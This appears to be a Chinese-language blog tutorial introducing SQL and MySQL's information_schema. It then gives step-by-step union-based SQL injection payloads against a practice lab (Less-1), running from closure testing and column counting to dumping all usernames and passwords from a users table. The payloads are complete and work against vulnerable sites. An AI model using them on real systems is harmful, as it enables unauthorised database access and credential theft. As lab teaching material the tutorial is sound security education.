我们在学习SQL注入前,先要对SQL以及数据库有一定的了解。
SQL(Structured Query Language)是一种关系数据库标准语言,SQL其为结构化的查询语言的简称,但其功能包括数据定义,数据查询,数据操纵和数据控制四部分。SQL简洁方便、功能齐全,是目前应用最广的关系数据库语言。
数据定义SQL(DDL):CREATE(创建)、DROP(丢弃)
数据查询SQL(DQL):SELECT(查询)
数据操纵SQL(DML):INSERT(插入)、UPDATE(修改)、DELETE(删除)等
数据控制SQL(DCL):GRANT(授权)、REVOKE(撤销授权)等
SQL注入中最常见的为利用系统数据库,经常利用系统数据库配合union 联合查询获得数据库相关信息,系统数据库的所有信息都在这个数据库中,比如所有数据库的库名,表名,以及列名的数据库类型等
在MYsql中的系统数据库为information_schema
1.Information_schema.schemata表:提供了关于数据库的信息,我们可以在其中找出 schema_name列,其中存放了所有的数据库名称,查询到这个列的值,即找到的所有的数据库名
2.information_schema.tables表:提供了数据库中表的信息,我们在知道数据库名的情况下,可以找出这个数据库中所有的表名,此时在这个表中数据库名对应的值为table_schema,所有表名对应的值为table_name
3.information_schema.columns表:提供了表中列的信息,我们在知道数据库名以及表名的情况,可以找出这个库中该表的列的信息,同时包含数据库名,所有列名值对应列column_name,所有数据库名值对应列table_schema,所有表名值对应table_name列,当然此表还有其他列的信息
我们一般不可能知道其数据库用户的用户名和其密码,所以只能在网页中通过SQL注入的方式来获取用户名和密码,Metasploitable2-Linux提供了Less-1 - Less 22不同难度的版本,循序渐进,从简到难。
在之后的博客中将逐一针对于每个Less进行分析,当前先了解一下
闭合方式包括’ ’ " " ( ) [ ] { } (’ ')等;
一般求闭合语句 /?id=1 ’ and 1=1 --+,以该闭合为例,当页面显示正常输出时,则闭合方式为’’,当页面出现错误结果时,则测试其他闭合方式。
求列数语句/?id=1’order by 10 --+
不出结果表明数大,则减小一半,依次进行,直到查出列数为止。
求显示位语句/id=-1’union all select 1,2,3 --+
id=-1使前面的结果不显示,即将前查询id置为-1,只显示后面输出结果,如果显示2,3则表示显示位为2,3
/?id=-1’ union all select 1,2,group_concat(schema_name) from information_schema.schemata --+
或者
/?id=-1’ union all select 1,2,database() from information_schema.schemata --+
查找出结果为security
/?id=-1’ union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
查找出结果为emails,referers,uagents,users
/?id=-1’ union all select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’–+
查找出结果为id,username,password
/?id=-1’ union all select 1,group_concat(username),group_concat(password) from security.users–+
可以读出所有的用户名和密码